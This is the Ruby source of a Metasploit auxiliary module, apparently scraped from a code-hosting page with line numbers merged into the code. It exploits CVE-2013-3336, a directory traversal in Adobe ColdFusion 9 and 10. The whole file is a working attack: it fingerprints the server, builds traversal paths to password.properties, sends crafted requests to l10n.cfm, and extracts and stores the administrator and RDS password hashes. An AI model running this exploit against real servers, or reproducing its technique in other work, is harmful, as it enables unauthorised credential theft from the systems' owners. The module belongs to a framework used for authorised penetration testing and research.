Path: blob/master/modules/auxiliary/gather/coldfusion_pwd_props.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(11update_info(12info,13'Name' => "ColdFusion 'password.properties' Hash Extraction",14'Description' => %q{15This module uses a directory traversal vulnerability to extract information16such as password, rdspassword, and "encrypted" properties. This module has been17tested successfully on ColdFusion 9 and ColdFusion 10 (auto-detect).18},19'References' => [20[ 'CVE', '2013-3336' ],21[ 'OSVDB', '93114' ],22[ 'EDB', '25305' ]23],24'Author' => [25'HTP',26'sinn3r',27'nebulus'28],29'License' => MSF_LICENSE,30# The day we saw the subzero poc31'DisclosureDate' => '2013-05-07',32'Notes' => {33'Reliability' => UNKNOWN_RELIABILITY,34'Stability' => UNKNOWN_STABILITY,35'SideEffects' => UNKNOWN_SIDE_EFFECTS36}37)38)3940register_options(41[42Opt::RPORT(80),43OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])44]45)46end4748def fingerprint(response)49if (response.headers.has_key?('Server'))50if (response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)51os = "Windows (#{response.headers['Server']})"52elsif (response.headers['Server'] =~ /Apache\//)53os = "Unix (#{response.headers['Server']})"54else55os = response.headers['Server']56end57end5859return nil if response.body.length < 1006061title = "Not Found"62response.body.gsub!(/[\r\n]/, '')63if (response.body =~ /<title.*\/?>(.+)<\/title\/?>/i)64title = $165title.gsub!(/\s/, '')66end67return nil if (title == 'Not Found' or not title =~ /ColdFusionAdministrator/)6869out = nil7071if (response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//)72v = $173out = (v =~ /^6/) ? "Adobe ColdFusion MX6 (Not Vulnerable)" : "Adobe ColdFusion MX7 (Not Vulnerable)"74elsif (response.body =~ /<meta name=\"Author\" content=\"Copyright 1995-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/)75out = "Adobe ColdFusion MX7 (Not Vulnerable)"76elsif (response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2006 Adobe/)77out = "Adobe ColdFusion 8 (Not Vulnerable)"78elsif (response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ and79response.body =~ /1997\-2012 Adobe Systems Incorporated and its licensors/)80out = "Adobe ColdFusion 10"81elsif (response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2010 Adobe/ or82response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/)83out = "Adobe ColdFusion 9"84elsif (response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)85out = $1.split(/,/)[0]86else87out = 'Unknown ColdFusion'88end8990if (title.downcase == 'coldfusionadministrator')91out << " (you have administrator access)"92end9394out << " (#{os})"95file = ''96trav = ''97if (os =~ /Windows/)98trav = '..\..\..\..\..\..\..\..\..\..'99file = (out =~ /ColdFusion 9/) ? '\ColdFusion9\lib\password.properties' : '\ColdFusion10\CFusion\lib\password.properties'100else101trav = '../../../../../../../../../..'102file = (out =~ /ColdFusion 9/) ? '/opt/coldfusion9/lib/password.properties' : '/opt/coldfusion10/cfusion/lib/password.properties'103end104105if (response.body =~ /Adobe/ and response.body =~ /ColdFusion/ and file == '')106print_error("#{peer} Fingerprint failed...aborting")107print_status("response: #{response.body}")108return nil, nil109end110111return out, "#{trav}#{file}"112end113114def check115if check_cf116return Msf::Exploit::CheckCode::Vulnerable117end118119Msf::Exploit::CheckCode::Safe120end121122def check_cf123vuln = false124url = '/CFIDE/adminapi/customtags/l10n.cfm'125res = send_request_cgi({126'uri' => url,127'method' => 'GET',128'Connection' => "keep-alive",129'Accept-Encoding' => "zip,deflate",130})131132if (res != nil)133# can't stack b/c res.code won't exist if res is nil134vuln = true if (res.code == 500 and res.body =~ /attributes\.id was not provided/)135end136137if (vuln)138url = '/CFIDE/administrator/mail/download.cfm'139res = send_request_cgi({140'uri' => url,141'method' => 'GET',142'Connection' => "keep-alive",143'Accept-Encoding' => "zip,deflate",144})145if (res != nil)146vuln = false if (res.code != 200)147end148end149150return vuln151end152153def run154filename = ""155156url = '/CFIDE/administrator/index.cfm'157# print_status("Getting index...")158res = send_request_cgi({159'uri' => url,160'method' => 'GET',161'Connection' => "keep-alive",162'Accept-Encoding' => "zip,deflate",163})164# print_status("Got back: #{res.inspect}")165return if not res166return if not res.body or not res.code167return if not res.code.to_i == 200168169out, filename = fingerprint(res)170print_status("#{peer} #{out}") if out171172if (out =~ /Not Vulnerable/)173print_status("#{peer} isn't vulnerable to this attack")174return175end176177if (not check_cf)178print_status("#{peer} can't be exploited (either files missing or permissions block access)")179return180end181182res = send_request_cgi({183'method' => 'GET',184'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),185'encode_params' => false,186'encode' => false,187'vars_get' => {188'attributes.id' => 'it',189'attributes.file' => '../../administrator/mail/download.cfm',190'filename' => filename,191'attributes.locale' => 'it',192'attributes.var' => 'it',193'attributes.jscript' => 'false',194'attributes.type' => 'text/html',195'attributes.charset' => 'UTF-8',196'thisTag.executionmode' => 'end',197'thisTag.generatedContent' => 'htp'198}199})200201if res.nil?202print_error("Unable to receive a response")203return204end205206rdspass = res.body.scan(/^rdspassword=(.+)/).flatten[0] || ''207password = res.body.scan(/^password=(.+)/).flatten[0] || ''208encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0] || ''209210if rdspass.empty? and password.empty?211# No pass collected, no point to store anything212print_error("No passwords found")213return214end215216print_good("rdspassword = #{rdspass}")217print_good("password = #{password}")218print_good("encrypted = #{encrypted}")219220p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)221print_good("password.properties stored in '#{p}'")222end223end224225226